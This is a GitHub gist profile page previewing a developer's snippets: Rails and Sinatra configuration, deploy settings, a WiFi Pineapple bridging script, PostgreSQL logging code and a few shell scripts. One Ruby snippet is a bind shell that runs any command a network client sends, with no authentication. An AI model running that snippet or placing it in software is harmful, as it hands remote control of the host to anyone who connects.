Skip to content

Instantly share code, notes, and snippets.

View karmatr0n's full-sized avatar

Alejandro Juárez karmatr0n

View GitHub Profile
class SessionsController < ApplicationController
include SslRequirement
ssl_required :create, :new, :recover_password if Rails.env == "production"
skip_before_filter :require_login, :only => [:new, :create]
layout 'session'
respond_to :html
def new
respond_with(@session = UserSession.new)
# Edit this Gemfile to bundle your application's dependencies.
source :gemcutter
gem "rails", "3.0.0.beta"
gem "pg"
gem "haml-edge", "2.3.155", :require => 'haml'
gem "compass", "0.10.0.pre8", :git => "git://github.com/chriseppstein/compass.git", :branch => 'master'
gem "authlogic", "2.1.3", :git => "git://github.com/binarylogic/authlogic.git", :branch => 'master'
gem "ssl_requirement"
#
# Example of config.ru for Application based on Sinatra + WeBrick + SSL
#
require File.dirname(__FILE__) + '/environment'
require File.dirname(__FILE__) + '/your_sinatra_app'
require 'webrick'
require 'webrick/https'
certificate = "/your/path/certs/myssl.crt"
private_key = "/your/path/certs/myssl.key"
# Ejemplo de deployment con inploy para rails3
deploy.application = "yourproject"
deploy.repository = '[email protected]:alecz/yourdeposit.git'
deploy.hosts = ['143.135.4.140']
# OPTIONALS
before_restarting_server do
rake "install:gems"
run "bundle install"
@karmatr0n
karmatr0n / bridge.sh
Created August 19, 2014 16:34
Enable Internet access in your WiFi Pineapple through a network bridge and NAT with pf in Mac OS
#!/bin/sh
# You must execute this script with sudo: sudo sh bridge.sh
# Setting the ip address for en0 (ethernet interface) to enable access for pineapple default address: 172.16.42.1
ifconfig en0 172.16.42.2 netmask 255.255.255.0 broadcast 172.16.42.255 up
# Setting the bridge
ifconfig bridge0 create
ifconfig bridge0 up
ifconfig bridge0 addm en0
@karmatr0n
karmatr0n / vigilante.sql
Last active February 28, 2016 13:45
SQL and PLPGSQL code to store ftp logs into a table in PostgreSQL (From rsyslog)
--
-- PostgreSQL database dump
--
SET statement_timeout = 0;
SET client_encoding = 'UTF8';
SET standard_conforming_strings = on;
SET check_function_bodies = false;
SET client_min_messages = warning;
@karmatr0n
karmatr0n / delete_images.sh
Last active August 29, 2015 14:08
Simple script to delete files from records stored in a PostgreSQL database
#!/bin/sh
l=1000
psql_cmd="/usr/local/bin/psql"
while [ 1 ];
do
records=`$psql_cmd -U syslog_writer -d vigilante -t << EOF
DELETE FROM images_logs WHERE id IN (SELECT id FROM images_logs ORDER BY uploaded_at LIMIT $l);
EOF`
require 'socket'
server = TCPServer.new "5000"
job = fork do
loop do
Thread.start(server.accept) do |client|
client.print "-> "
cmd = client.gets
IO.popen(cmd.to_s.chomp!,"r") {|io| client.print io.read }
client.close
end
@karmatr0n
karmatr0n / test.sh
Created March 23, 2015 07:42
shell script
echo "This is just a test, but it could be evil;"
@karmatr0n
karmatr0n / evil.sh
Last active August 29, 2015 14:18
Super super evil code
#!/bin/sh
echo "Hello SL ;)" > /tmp/evil;
cat /tmp/evil;